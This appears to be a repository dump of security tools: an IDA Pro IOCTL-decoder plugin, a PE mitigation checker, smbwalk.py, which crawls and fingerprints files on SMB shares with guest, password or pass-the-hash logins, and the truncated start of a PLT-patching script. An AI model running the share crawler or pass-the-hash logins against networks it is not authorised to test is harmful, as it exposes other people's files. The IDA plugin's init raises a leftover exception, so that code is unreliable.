| 4 | Author: Satoshi Tanda (adjusted for IDA 7.4 support) 5 | 6 | Source: 7 | https://github.com/tandasat/WinIoCtlDecoder/blob/master/plugins/WinIoCtlDecoder.py 8 | 9 | Description: 10 | Decodes Windows Device I/O control code into DeviceType, FunctionCode, 11 | AccessType and MethodType. 12 | 13 | Usage: 14 | 1. Select an interesting IOCTL code in the disassemble window. 15 | 2. Hit Ctrl-Alt-D or select Edit/Plugins/Windows IOCTL code decoder 16 | or 17 | Call winio_decode function directly from the Python CLI window. 18 | Python>windows_ioctl_decode(0x220086) 19 | 20 | 21 | Example: 22 | Python>windows_ioctl_decode(0x222057) 23 | '#define Ioctl_0x00222057 CTL_CODE("FILE_DEVICE_UNKNOWN", 0x815, METHOD_NEITHER, FILE_ANY_ACCESS)' 24 | """ 25 | 26 | import sys 27 | import idc 28 | import idaapi 29 | 30 | import ida_idaapi 31 | import ida_bytes 32 | 33 | 34 | def windows_ioctl_decode(ioctl_code): 35 | """Decodes IOCTL code and print it.""" 36 | access_names = [ 37 | 'FILE_ANY_ACCESS', 38 | 'FILE_READ_ACCESS', 39 | 'FILE_WRITE_ACCESS', 40 | 'FILE_READ_ACCESS | FILE_WRITE_ACCESS', 41 | ] 42 | method_names = [ 43 | 'METHOD_BUFFERED', 44 | 'METHOD_IN_DIRECT', 45 | 'METHOD_OUT_DIRECT', 46 | 'METHOD_NEITHER', 47 | ] 48 | device_name_unknown = '' 49 | device_names = [ 50 | device_name_unknown, # 0x00000000 51 | 'FILE_DEVICE_BEEP', # 0x00000001 52 | 'FILE_DEVICE_CD_ROM', # 0x00000002 53 | 'FILE_DEVICE_CD_ROM_FILE_SYSTEM', # 0x00000003 54 | 'FILE_DEVICE_CONTROLLER', # 0x00000004 55 | 'FILE_DEVICE_DATALINK', # 0x00000005 56 | 'FILE_DEVICE_DFS', # 0x00000006 57 | 'FILE_DEVICE_DISK', # 0x00000007 58 | 'FILE_DEVICE_DISK_FILE_SYSTEM', # 0x00000008 59 | 'FILE_DEVICE_FILE_SYSTEM', # 0x00000009 60 | 'FILE_DEVICE_INPORT_PORT', # 0x0000000a 61 | 'FILE_DEVICE_KEYBOARD', # 0x0000000b 62 | 'FILE_DEVICE_MAILSLOT', # 0x0000000c 63 | 'FILE_DEVICE_MIDI_IN', # 0x0000000d 64 | 'FILE_DEVICE_MIDI_OUT', # 0x0000000e 65 | 'FILE_DEVICE_MOUSE', # 0x0000000f 66 | 'FILE_DEVICE_MULTI_UNC_PROVIDER', # 0x00000010 67 | 'FILE_DEVICE_NAMED_PIPE', # 0x00000011 68 | 'FILE_DEVICE_NETWORK', # 0x00000012 69 | 'FILE_DEVICE_NETWORK_BROWSER', # 0x00000013 70 | 'FILE_DEVICE_NETWORK_FILE_SYSTEM', # 0x00000014 71 | 'FILE_DEVICE_NULL', # 0x00000015 72 | 'FILE_DEVICE_PARALLEL_PORT', # 0x00000016 73 | 'FILE_DEVICE_PHYSICAL_NETCARD', # 0x00000017 74 | 'FILE_DEVICE_PRINTER', # 0x00000018 75 | 'FILE_DEVICE_SCANNER', # 0x00000019 76 | 'FILE_DEVICE_SERIAL_MOUSE_PORT', # 0x0000001a 77 | 'FILE_DEVICE_SERIAL_PORT', # 0x0000001b 78 | 'FILE_DEVICE_SCREEN', # 0x0000001c 79 | 'FILE_DEVICE_SOUND', # 0x0000001d 80 | 'FILE_DEVICE_STREAMS', # 0x0000001e 81 | 'FILE_DEVICE_TAPE', # 0x0000001f 82 | 'FILE_DEVICE_TAPE_FILE_SYSTEM', # 0x00000020 83 | 'FILE_DEVICE_TRANSPORT', # 0x00000021 84 | 'FILE_DEVICE_UNKNOWN', # 0x00000022 85 | 'FILE_DEVICE_VIDEO', # 0x00000023 86 | 'FILE_DEVICE_VIRTUAL_DISK', # 0x00000024 87 | 'FILE_DEVICE_WAVE_IN', # 0x00000025 88 | 'FILE_DEVICE_WAVE_OUT', # 0x00000026 89 | 'FILE_DEVICE_8042_PORT', # 0x00000027 90 | 'FILE_DEVICE_NETWORK_REDIRECTOR', # 0x00000028 91 | 'FILE_DEVICE_BATTERY', # 0x00000029 92 | 'FILE_DEVICE_BUS_EXTENDER', # 0x0000002a 93 | 'FILE_DEVICE_MODEM', # 0x0000002b 94 | 'FILE_DEVICE_VDM', # 0x0000002c 95 | 'FILE_DEVICE_MASS_STORAGE', # 0x0000002d 96 | 'FILE_DEVICE_SMB', # 0x0000002e 97 | 'FILE_DEVICE_KS', # 0x0000002f 98 | 'FILE_DEVICE_CHANGER', # 0x00000030 99 | 'FILE_DEVICE_SMARTCARD', # 0x00000031 100 | 'FILE_DEVICE_ACPI', # 0x00000032 101 | 'FILE_DEVICE_DVD', # 0x00000033 102 | 'FILE_DEVICE_FULLSCREEN_VIDEO', # 0x00000034 103 | 'FILE_DEVICE_DFS_FILE_SYSTEM', # 0x00000035 104 | 'FILE_DEVICE_DFS_VOLUME', # 0x00000036 105 | 'FILE_DEVICE_SERENUM', # 0x00000037 106 | 'FILE_DEVICE_TERMSRV', # 0x00000038 107 | 'FILE_DEVICE_KSEC', # 0x00000039 108 | 'FILE_DEVICE_FIPS', # 0x0000003A 109 | 'FILE_DEVICE_INFINIBAND', # 0x0000003B 110 | device_name_unknown, # 0x0000003C 111 | device_name_unknown, # 0x0000003D 112 | 'FILE_DEVICE_VMBUS', # 0x0000003E 113 | 'FILE_DEVICE_CRYPT_PROVIDER', # 0x0000003F 114 | 'FILE_DEVICE_WPD', # 0x00000040 115 | 'FILE_DEVICE_BLUETOOTH', # 0x00000041 116 | 'FILE_DEVICE_MT_COMPOSITE', # 0x00000042 117 | 'FILE_DEVICE_MT_TRANSPORT', # 0x00000043 118 | 'FILE_DEVICE_BIOMETRIC', # 0x00000044 119 | 'FILE_DEVICE_PMI', # 0x00000045 120 | ] 121 | device_names2 = [ 122 | {'name': 'MOUNTMGRCONTROLTYPE', 'code': 0x0000006d}, 123 | ] 124 | 125 | device = (ioctl_code >> 16) & 0xffff 126 | access = (ioctl_code >> 14) & 3 127 | function = (ioctl_code >> 2) & 0xfff 128 | method = ioctl_code & 3 129 | 130 | if device >= len(device_names): 131 | device_name = device_name_unknown 132 | for dev in device_names2: 133 | if device == dev['code']: 134 | device_name = dev['name'] 135 | break 136 | else: 137 | device_name = device_names[device] 138 | 139 | # print ('winio_decode(0x%08X)' % (ioctl_code)) 140 | # print ('Device : %s (0x%X)' % (device_name, device)) 141 | # print ('Function : 0x%X' % (function)) 142 | # print ('Method : %s (%d)' % (method_names[method], method)) 143 | # print ('Access : %s (%d)' % (access_names[access], access)) 144 | return '#define Ioctl_0x{0:08x} CTL_CODE("{1:s}", {2:#x}, {3:s}, {4:s})'.format( 145 | ioctl_code, 146 | device_name, 147 | function, 148 | method_names[method], 149 | access_names[access] 150 | ) 151 | 152 | 153 | 154 | class IoctlDecodePlugin_t(ida_idaapi.plugin_t): 155 | """Class for IDA Pro plugin.""" 156 | flags = idaapi.PLUGIN_UNL 157 | comment = ('Decodes Windows Device I/O control code into DeviceType, FunctionCode, AccessType and MethodType.') 158 | help = 'Quickly parse Windows IOCTL codes' 159 | wanted_name = 'Windows IOCTL code decoder' 160 | wanted_hotkey = 'Ctrl-Alt-D' 161 | 162 | def __init__(self): 163 | #raise Exception("foo") 164 | return 165 | 166 | def init(self): 167 | raise Exception("foo") 168 | print("init") 169 | return idaapi.PLUGIN_OK 170 | 171 | 172 | def run(self, arg=0): 173 | print("running") 174 | ea = idc.get_screen_ea() 175 | if idc.GetOpType(ea, 1) != 5: # Immediate 176 | return 177 | value = idc.GetOperandValue(ea, 1) & 0xffffffff 178 | ida_bytes.set_cmt(ea, windows_ioctl_decode(value), 1) 179 | return 180 | 181 | 182 | def term(self): 183 | pass 184 | 185 | 186 | def PLUGIN_ENTRY(): 187 | return IoctlDecodePlugin_t() 188 | 189 | 190 | if __name__ == "__main__": 191 | PLUGIN_ENTRY() -------------------------------------------------------------------------------- /CheckSec.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Poor version of checksec.sh script for PE (checks for ASLR, NX, Integrity, SEH flags and more). 3 | * 4 | * Compile with: 5 | * c:\> cl CheckSec.c 6 | * or 7 | * $ x86_64-w64-mingw32-gcc -municode -Wall -o ~/tmp/CheckSec.exe CheckSec.c -lwintrust 8 | * 9 | * Collect files with: 10 | * c:\> dir /s /b C:\*.dll > DllList.txt 11 | * c:\> dir /s /b C:\*.exe > ExeList.txt 12 | * 13 | * Run with: 14 | * c:\> CheckSec.exe -f DllList.txt > DllList_CheckSec.txt 15 | * c:\> CheckSec.exe -f ExeList.txt > ExeList_CheckSec.txt 16 | * 17 | * @_hugsy_ 18 | * 19 | */ 20 | 21 | #define _UNICODE 1 22 | #define UNICODE 1 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | 33 | #if defined(_MSC_VER) 34 | #pragma comment (lib, "wintrust") 35 | #endif 36 | 37 | 38 | WORD CheckForFlags[] = 39 | { 40 | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE, 41 | IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY, 42 | IMAGE_DLLCHARACTERISTICS_NX_COMPAT, 43 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION, 44 | IMAGE_DLLCHARACTERISTICS_NO_SEH, 45 | 0x0000 46 | }; 47 | 48 | 49 | BOOL StrictRead(HANDLE hdl, LPVOID dst, DWORD len) 50 | { 51 | DWORD dwNumReadBytes; 52 | if (! ReadFile(hdl, dst, len, &dwNumReadBytes, NULL)) { 53 | wprintf(L"ReadFile failed, error %lu.\n", GetLastError()); 54 | return FALSE; 55 | } 56 | 57 | if (len != dwNumReadBytes) { 58 | wprintf(L"[-] len != dwNumReadBytes\n", len, dwNumReadBytes); 59 | return FALSE; 60 | } 61 | 62 | return TRUE; 63 | } 64 | 65 | 66 | int CheckFileSigned(LPCWSTR pwszSourceFile) 67 | { 68 | LONG lStatus; 69 | DWORD dwLastError; 70 | WINTRUST_FILE_INFO FileData; 71 | GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2; 72 | WINTRUST_DATA WinTrustData; 73 | 74 | memset(&FileData, 0, sizeof(FileData)); 75 | FileData.cbStruct = sizeof(WINTRUST_FILE_INFO); 76 | FileData.pcwszFilePath = pwszSourceFile; 77 | FileData.hFile = NULL; 78 | FileData.pgKnownSubject = NULL; 79 | 80 | memset(&WinTrustData, 0, sizeof(WinTrustData)); 81 | WinTrustData.cbStruct = sizeof(WinTrustData); 82 | WinTrustData.pPolicyCallbackData = NULL; 83 | WinTrustData.pSIPClientData = NULL; 84 | WinTrustData.dwUIChoice = WTD_UI_NONE; 85 | WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE; 86 | WinTrustData.dwUnionChoice = WTD_CHOICE_FILE; 87 | WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY; 88 | WinTrustData.hWVTStateData = NULL; 89 | WinTrustData.pwszURLReference = NULL; 90 | WinTrustData.dwUIContext = 0; 91 | WinTrustData.pFile = &FileData; 92 | 93 | lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData); 94 | switch (lStatus) 95 | { 96 | case ERROR_SUCCESS: 97 | wprintf(L"OK"); 98 | break; 99 | 100 | case TRUST_E_NOSIGNATURE: 101 | dwLastError = GetLastError(); 102 | if (TRUST_E_NOSIGNATURE == dwLastError || 103 | TRUST_E_SUBJECT_FORM_UNKNOWN == dwLastError || 104 | TRUST_E_PROVIDER_UNKNOWN == dwLastError) { 105 | wprintf(L"NotSigned"); 106 | } else { 107 | wprintf(L"VerifyFailed"); 108 | } 109 | break; 110 | 111 | case TRUST_E_EXPLICIT_DISTRUST: 112 | wprintf(L"SigNotAllowed"); 113 | break; 114 | 115 | case TRUST_E_SUBJECT_NOT_TRUSTED: 116 | case CRYPT_E_SECURITY_SETTINGS: 117 | wprintf(L"SigNotTrusted"); 118 | break; 119 | 120 | default: 121 | wprintf(L"Error: 0x%x", lStatus); 122 | break; 123 | } 124 | 125 | WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE; 126 | lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData); 127 | return 0; 128 | } 129 | 130 | 131 | VOID CheckSecFile( LPCWSTR sFileName ) 132 | { 133 | HANDLE hPeFile; 134 | DWORD off; 135 | DWORD MoreDosHeader[16]; 136 | ULONG ntSignature; 137 | IMAGE_DOS_HEADER bImageDosHeader; 138 | IMAGE_FILE_HEADER bImageFileHeader; 139 | IMAGE_OPTIONAL_HEADER bImageOptionalHeader; 140 | 141 | WORD *flag; 142 | 143 | hPeFile = CreateFile(sFileName, GENERIC_READ, FILE_SHARE_READ, 144 | NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 145 | NULL); 146 | if (hPeFile == INVALID_HANDLE_VALUE) { 147 | wprintf(L"[-] Failed to open '%s', error %lu\n", sFileName, GetLastError()); 148 | return; 149 | } 150 | 151 | if (!StrictRead(hPeFile, &bImageDosHeader, sizeof(IMAGE_DOS_HEADER))) { 152 | goto end; 153 | } 154 | 155 | if (bImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE) { 156 | wprintf(L"[-] Invalid DOS signature.\n"); 157 | goto end; 158 | } 159 | 160 | if (!StrictRead(hPeFile, MoreDosHeader, sizeof(MoreDosHeader))) { 161 | goto end; 162 | } 163 | 164 | off = SetFilePointer(hPeFile, bImageDosHeader.e_lfanew, NULL, FILE_BEGIN); 165 | if (off == INVALID_SET_FILE_POINTER) { 166 | wprintf(L"SetFilePointer failed, error %lu.\n", GetLastError()); 167 | goto end; 168 | } 169 | off+= sizeof(ULONG); 170 | 171 | if (!StrictRead(hPeFile, &ntSignature, sizeof(ULONG))) { 172 | goto end; 173 | } 174 | if (ntSignature != IMAGE_NT_SIGNATURE) { 175 | wprintf(L"[-] Missing NT signature (got %x, expected %x)\n", ntSignature, IMAGE_NT_SIGNATURE); 176 | goto end; 177 | } 178 | 179 | if (!StrictRead(hPeFile, &bImageFileHeader, IMAGE_SIZEOF_FILE_HEADER)) { 180 | goto end; 181 | } 182 | if (!StrictRead(hPeFile, &bImageOptionalHeader, sizeof(IMAGE_OPTIONAL_HEADER))) { 183 | goto end; 184 | } 185 | 186 | wprintf(L"%s ; ", sFileName); 187 | for(flag = &CheckForFlags[0]; *flag; flag++) { 188 | wprintf(L"%s ; ", (bImageOptionalHeader.DllCharacteristics & *flag) ? L"Yes" : L"No"); 189 | } 190 | 191 | CheckFileSigned( sFileName ); 192 | wprintf(L"; "); 193 | 194 | wprintf(L" \n"); 195 | 196 | end: 197 | if (! CloseHandle(hPeFile) ) { 198 | wprintf(L"[-] Error while closing %s: %s\n", sFileName, GetLastError()); 199 | } 200 | 201 | return; 202 | } 203 | 204 | 205 | int CheckSecList( LPCWSTR sList ) 206 | { 207 | HANDLE hDllList; 208 | 209 | hDllList = CreateFile(sList, GENERIC_READ, FILE_SHARE_READ, NULL, 210 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 211 | if (hDllList == INVALID_HANDLE_VALUE) { 212 | wprintf(L"[-] Cannot open %s, error %lu\n", sList, GetLastError()); 213 | return 1; 214 | } 215 | 216 | while( 1 ) { 217 | _TCHAR line[MAX_PATH+1] = {0, }; 218 | DWORD dwNumReadBytes = 0; 219 | int i = 0; 220 | _TCHAR c = 0; 221 | 222 | while( 1 ) { 223 | if (! ReadFile(hDllList, &c, 1, &dwNumReadBytes, NULL) ) 224 | break; 225 | 226 | if (dwNumReadBytes == 0) 227 | break; 228 | 229 | if (c != '\r' && c != '\n') 230 | line[i++] = c; 231 | else 232 | break; 233 | 234 | if (i==MAX_PATH) 235 | break; 236 | } 237 | 238 | if(!dwNumReadBytes) 239 | break; 240 | 241 | if (wcslen(line)){ 242 | CheckSecFile( line ); 243 | } 244 | } 245 | 246 | if (! CloseHandle(hDllList) ) { 247 | wprintf(L"[-] Error while closing %s: %s\n", sList, GetLastError()); 248 | } 249 | 250 | return 0; 251 | } 252 | 253 | int wmain(int argc, wchar_t** argv, wchar_t** envp) 254 | { 255 | UNREFERENCED_PARAMETER(envp); 256 | wchar_t **wsArgs; 257 | 258 | wprintf(L"[+] %s: check DLL/EXE for DEP/ASLR flag\n", argv[0]); 259 | 260 | if(argc < 2) { 261 | wprintf(L"[-] Missing EXE/DLL path\nSyntax:\n\t"); 262 | wprintf(L"%s \\path\\to\\exe [\\moar\\exe\\here]\n", argv[0]); 263 | wprintf(L"or\n\t"); 264 | wprintf(L"%s -f \\path\\to\\dlllist.txt\n", argv[0]); 265 | return 1; 266 | } 267 | 268 | wprintf(L"Filename ; ASLR ; ForceIntegrity ; DEP ; NoIsolation ; NoSEH ; IsSigned ;\n"); 269 | 270 | if (argc==3){ 271 | if (wcscmp(argv[1], L"-f")==0) { 272 | CheckSecList( argv[2] ); 273 | return 0; 274 | } 275 | 276 | wprintf(L"Incorrect syntax: %s -f \\Path\\To\\DllList.txt\n", argv[0]); 277 | return 1; 278 | } 279 | 280 | for (wsArgs = argv+1; *wsArgs; wsArgs++){ 281 | CheckSecFile( *wsArgs ); 282 | } 283 | 284 | return 0; 285 | } 286 | -------------------------------------------------------------------------------- /smbwalk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # -*- mode: python-mode -*- 4 | # 5 | """ 6 | smbwalk is script to index all browsable files available through SMB shares. From one (or 7 | many IP addresses), it will crawl through the shares available for the specified user (default: 8 | guest). On top of enumerating the files available, it will fingerprint the file type using the 9 | libmagic. 10 | 11 | Inputs can be provided either directly by specifying the IP addresses on the command line: 12 | Ex: 13 | $ ./smbwalk.py 10.0.0.1 10.0.0.2 14 | 15 | Or by pointing to a SQLite database generated by the script `unmap.py`. 16 | Ex: 17 | $ ./smbwalk.py --sqlite /path/to/unmap.sqlite 18 | 19 | By default, the script will spit all the entries on the stdout which is not optimum for 20 | big networks, but it can store all the paths found within a SQLite database. 21 | Ex: 22 | $ ./smbwalk.py --outfile /path/to/smbwalk.sqlite --sqlite /path/to/unmap.sqlite 23 | 24 | Use `-h` to see all the different options. 25 | """ 26 | 27 | import sys 28 | import argparse 29 | import logging 30 | import threading 31 | import re 32 | import sqlite3 33 | import unmap 34 | import tempfile 35 | import os 36 | 37 | try: 38 | import magic 39 | except ImportError as ie: 40 | print("[-] Failed to import libmagic bindings: run `pip install python-magic`") 41 | sys.exit(1) 42 | 43 | try: 44 | from impacket import smb, version, smb3, nt_errors 45 | from impacket.smbconnection import * 46 | except ImportError as ie: 47 | print("[-] Failed to import impacket suite: run `pip install impacket`") 48 | sys.exit(1) 49 | 50 | 51 | __author__ = "@_hugsy_" 52 | __version__ = 0.1 53 | __licence__ = "WTFPL v.2" 54 | __file__ = "smbwalk.py" 55 | __desc__ = "SMB walker : use `pydoc {:s}` for man page".format(__file__) 56 | __usage__ = """{3} v{0}\nby {2} under {1}\nsyntax: {3} [options] args""".format(__version__, __licence__, __author__, __file__) 57 | 58 | BLACKLISTED_SHARES = ["ADMIN$", "IPC$", "D$", "C$"] 59 | 60 | q = [] 61 | logger = logging.getLogger( __file__ ) 62 | handler = logging.StreamHandler() 63 | handler.setFormatter(logging.Formatter("%(levelname)s %(asctime)s - %(name)s:%(threadName)s - %(message)s", 64 | datefmt="%d/%m/%Y-%H:%M:%S")) 65 | logger.setLevel(logging.DEBUG) 66 | logger.addHandler(handler) 67 | logger.propagate = 0 68 | 69 | def get_dialect(smb): 70 | dialect = smb.getDialect() 71 | if dialect == SMB_DIALECT: 72 | return "SMBv1" 73 | elif dialect == SMB2_DIALECT_002: 74 | return "SMBv2.0" 75 | elif dialect == SMB2_DIALECT_21: 76 | return "SMBv2.1" 77 | else: 78 | return "SMBv3.0 (%s)" % dialect 79 | 80 | 81 | def safe_smbconnect(host, port=445): 82 | try: 83 | smb = SMBConnection(host, host, sess_port=port) 84 | if verbose: 85 | logger.debug( "Connected to {}:{} using {}".format( host, port, get_dialect(smb) )) 86 | except: 87 | if verbose: 88 | logger.error("Failed to connect to {}:{}".format(host, port)) 89 | return None 90 | return smb 91 | 92 | 93 | def safe_smblogin(smb, **kwargs): 94 | username = kwargs.get("user") 95 | password = kwargs.get("pwd") 96 | domain = kwargs.get("domain") 97 | lmhash = kwargs.get("lmhash") 98 | nthash = kwargs.get("nthash") 99 | 100 | try: 101 | if lmhash and nthash: 102 | if verbose: 103 | logger.debug("Logging using Pass-The-Hash") 104 | smb.login(username, '', domain=domain, lmhash=lmhash, nthash=nthash) 105 | else: 106 | if verbose: 107 | logger.debug("Logging using password") 108 | smb.login(username, password, domain=domain) 109 | 110 | if verbose: 111 | if smb.isGuestSession() > 0: 112 | logger.debug("GUEST Session Granted") 113 | else: 114 | logger.debug("USER Session Granted") 115 | except Exception as e: 116 | if verbose: 117 | logger.error("Failed to login: %s" % e) 118 | return False 119 | 120 | return True 121 | 122 | 123 | def safe_enumshares(smb): 124 | try: 125 | return [ share['shi1_netname'][:-1] for share in smb.listShares() ] 126 | except Exception as e: 127 | if verbose: 128 | logger.error("Got exception while getting shares: %s" % e) 129 | return [] 130 | 131 | 132 | def smbwalk(smb, share, regex, path='\\', tid=None, *args, **kwargs): 133 | max_size = kwargs.get("max_size") or 100*1024 134 | ip = smb.getRemoteHost() 135 | try: 136 | if tid is None: 137 | tid = smb.connectTree(share) 138 | 139 | except Exception as e: 140 | if verbose: 141 | logger.warn("Failed to connect to tree '{}': {}".format(share, e)) 142 | return 143 | 144 | path = ntpath.normpath(path) 145 | 146 | try: 147 | gen = smb.listPath(share, ntpath.join(path, '*')) 148 | except Exception as e: 149 | if verbose: 150 | logger.warn("Failed to list share '{}'".format(share, e)) 151 | return 152 | 153 | for f in gen: 154 | cur_path = ntpath.join(path, f.get_longname()) 155 | if f.is_directory() and f.get_longname() not in (".", ".."): 156 | try: 157 | smbwalk(smb, share, regex, cur_path + "\\", tid) 158 | except Exception as e: 159 | if verbose: 160 | logger.warn("Failed to list path '{}': {}".format(cur_path, e)) 161 | continue 162 | 163 | if f.get_longname() in (".", ".."): 164 | continue 165 | 166 | 167 | if regex is None or regex.search(cur_path): 168 | try: 169 | entry = [ip, share, cur_path,] 170 | fhandle = smb.openFile(tid, cur_path, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ) 171 | fdata = smb.readFile(tid, fhandle, offset=0, bytesToRead=max_size) 172 | fmagic = magic.from_buffer(fdata) 173 | smb.closeFile(tid, fhandle) 174 | entry.append(fmagic) 175 | except Exception as e: 176 | if verbose: 177 | logger.warn("Failed to retrieve file: {}".format(e)) 178 | entry.append("") 179 | 180 | if verbose: 181 | logger.info( "\\\\" + " -> ".join(entry) ) 182 | 183 | q.append( entry ) 184 | 185 | return tid 186 | 187 | 188 | def scan_host(host, port, **kwargs): 189 | regex = kwargs.get("regex", None) 190 | if regex is not None: 191 | regex = re.compile(regex, re.I) 192 | 193 | smb = safe_smbconnect(host, port) 194 | if smb is None: 195 | return 196 | 197 | if not safe_smblogin(smb, **kwargs): 198 | return 199 | 200 | sharenames = safe_enumshares(smb) 201 | if sharenames is None: 202 | return 203 | 204 | if verbose: 205 | logger.info("Found {0:d} shares: {1:s}".format(len(sharenames), sharenames)) 206 | 207 | for share in sharenames: 208 | if share in BLACKLISTED_SHARES: 209 | continue 210 | smbwalk(smb, share, regex) 211 | 212 | smb.logoff() 213 | del(smb) 214 | return 215 | 216 | 217 | if __name__ == "__main__": 218 | parser = argparse.ArgumentParser(usage = __usage__, description = __desc__, prog = __file__) 219 | 220 | parser.add_argument("-p", "--port", type=int, default=445, 221 | help="Use any alternative SMB port (default: 445)") 222 | 223 | parser.add_argument("-U", "--username", type=str, default="guest", 224 | help="Username to use to connect") 225 | 226 | parser.add_argument("-D", "--domain", type=str, default="", 227 | help="Domain associated to username") 228 | 229 | parser.add_argument("-P", "--password", type=str, default="guest", 230 | help="Password associated to username") 231 | 232 | parser.add_argument("-r", "--regex", type=str, default=None, 233 | help="Grep matching regex") 234 | 235 | parser.add_argument("-s", "--sql", dest="db", type=str, metavar="db.sqlite", 236 | default=None, help="Read IP addresses from unmap SQLite database") 237 | 238 | parser.add_argument("-o", "--outfile", type=str, metavar="/path/to/result", 239 | default=None, help="Write results to file (.txt) or database (.sqlite)") 240 | 241 | parser.add_argument("iplist", type=str, metavar="ip1 [ip2]*", nargs='*', 242 | help="Specify IP addresses to query") 243 | 244 | parser.add_argument("-v", "--verbose", action="count", dest="verbose", 245 | help="Increments verbosity") 246 | 247 | parser.add_argument("-t", "--threads", dest="threads", type=int, metavar="N", 248 | default=20, help="Specify number of threads to use") 249 | 250 | parser.add_argument("-V", "--version", action="version", version=__version__) 251 | 252 | args = parser.parse_args() 253 | verbose = args.verbose 254 | 255 | 256 | if not args.iplist and not args.db: 257 | logger.error("Missing target(s) or database. Use `unmap.py -t sql`") 258 | exit(1) 259 | 260 | if args.db: 261 | if verbose: 262 | logger.debug("Reading IP from '{}'".format(args.db)) 263 | db = unmap.Database(args.db) 264 | iplist = db.get_ip_by_ports(args.port) 265 | 266 | else: 267 | iplist = args.iplist 268 | 269 | if ":" in args.password and len(args.password)==65: 270 | password = None 271 | lmhash, nthash = args.password.split(":", 1) 272 | else: 273 | password = args.password 274 | lmhash, nthash = None, None 275 | 276 | if verbose: 277 | logger.debug("Targets: {}".format(iplist)) 278 | if lmhash and nthash: 279 | logger.debug("Credentials: username={} hash={}:{}".format(args.username, lmhash, nthash)) 280 | else: 281 | logger.debug("Credentials: username={} password={}".format(args.username, password)) 282 | 283 | 284 | T = [] 285 | 286 | for ip in iplist: 287 | t = threading.Thread( target=scan_host, 288 | args=(ip, args.port,), 289 | kwargs={"user": args.username, 290 | "pwd": password, 291 | "domain": args.domain, 292 | "regex": args.regex, 293 | "lmhash": lmhash, 294 | "nthash": nthash, } ) 295 | t.daemon = True 296 | t.start() 297 | T.append(t) 298 | 299 | if len(T) == args.threads: 300 | for t in T: 301 | t.join() 302 | T = [] 303 | 304 | 305 | for t in T: 306 | t.join() 307 | 308 | 309 | if not args.outfile: 310 | for line in q: 311 | print("\t".join(line)) 312 | sys.exit(0) 313 | 314 | if args.outfile.endswith(".sqlite"): 315 | conn = sqlite3.connect(args.outfile) 316 | conn.execute("CREATE TABLE IF NOT EXISTS files (ip VARCHAR(55), share VARCHAR(255), filepath VARCHAR(255), magic VARCHAR(255))") 317 | conn.executemany("INSERT INTO files(ip, share, filepath, magic) VALUES (?,?,?,?)", q) 318 | conn.commit() 319 | conn.close() 320 | 321 | if verbose: 322 | logger.info("Written results in database '{}'".format(args.outfile)) 323 | 324 | elif args.outfile.endswith(".txt"): 325 | with open(args.outfile, "w") as f: 326 | for e in q: 327 | f.write( ';'.join(e) + '\n' ) 328 | 329 | if verbose: 330 | logger.info("Written results in text file '{}'".format(args.outfile)) 331 | 332 | else: 333 | logger.error("Unknown extension") 334 | 335 | sys.exit(0) 336 | -------------------------------------------------------------------------------- /kcapys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import argparse 6 | import shutil 7 | import logging 8 | import abc 9 | 10 | import elftools.elf.elffile as elffile 11 | import capstone 12 | import keystone 13 | import termcolor 14 | 15 | 16 | __author__ = "hugsy" 17 | __version__ = 0.1 18 | __licence__ = "WTFPL v.2" 19 | __file__ = "kcapys.py" 20 | __desc__ = """Keep Calm and Patch Your Shit: 21 | 22 | Mass PLT patching: replace calls in binaries with NOPs. 23 | 24 | """ 25 | __usage__ = """{3} version {0}, {1} 26 | by {2} 27 | syntax: {3} [options] args 28 | """.format(__version__, __licence__, __author__, __file__) 29 | 30 | log = logging.getLogger("kcapys") 31 | 32 | 33 | class Config: 34 | def __init__(self, *args, **kwargs): 35 | self.elf = None 36 | self.ks = None 37 | self.cs = None 38 | self.original_filename = None 39 | self.patched_filename = None 40 | self.nop = None 41 | self.asm = None 42 | self.arch = None 43 | return 44 | 45 | 46 | class Arch(metaclass=abc.ABCMeta): 47 | def __init__(self, *args, **kwargs): 48 | return 49 | 50 | def get_relocs(self, cfg): 51 | plt = cfg.elf.get_section_by_name(".rela.plt") or cfg.elf.get_section_by_name(".rel.plt") 52 | return plt.iter_relocations() 53 | 54 | def get_call_got(self, cfg): 55 | dynsym = cfg.elf.get_section_by_name(".dynsym") 56 | if not dynsym: 57 | return None 58 | for reloc in self.get_relocs(cfg): 59 | symbol = dynsym.get_symbol(reloc.entry.r_info_sym) 60 | if symbol.name == callname: 61 | return reloc.entry.r_offset 62 | return None 63 | 64 | @abc.abstractmethod 65 | def get_call_plt(cfg, got_value): pass 66 | 67 | @abc.abstractmethod 68 | def get_xrefs(self, cfg, plt_value): pass 69 | 70 | 71 | class X86(Arch): 72 | def get_call_plt(self, cfg, got_value): 73 | elf = cfg.elf 74 | cs = cfg.cs 75 | plt = elf.get_section_by_name(".plt") 76 | code = plt.data() 77 | length = plt.header.sh_addr 78 | for insn in cs.disasm(code, length): 79 | if insn.mnemonic == "jmp": 80 | value = None 81 | for op in insn.operands: 82 | if op.type==X86_OP_MEM and op.mem.base==0 and op.mem.index==0: 83 | value = op.mem.disp 84 | if value == got_value: 85 | return insn.address 86 | return None 87 | 88 | def get_xrefs(self, cfg, plt_value): 89 | elf = cfg.elf 90 | cs = cfg.cs 91 | xrefs = [] 92 | text = elf.get_section_by_name(".text") 93 | code = text.data() 94 | length = text.header.sh_addr 95 | for insn in cs.disasm(code, length): 96 | if insn.mnemonic == "call": 97 | for op in insn.operands: 98 | value = None 99 | if op.type == X86_OP_IMM: 100 | value = op.imm 101 | if value == plt_value: 102 | offset = insn.address - text.header.sh_addr + 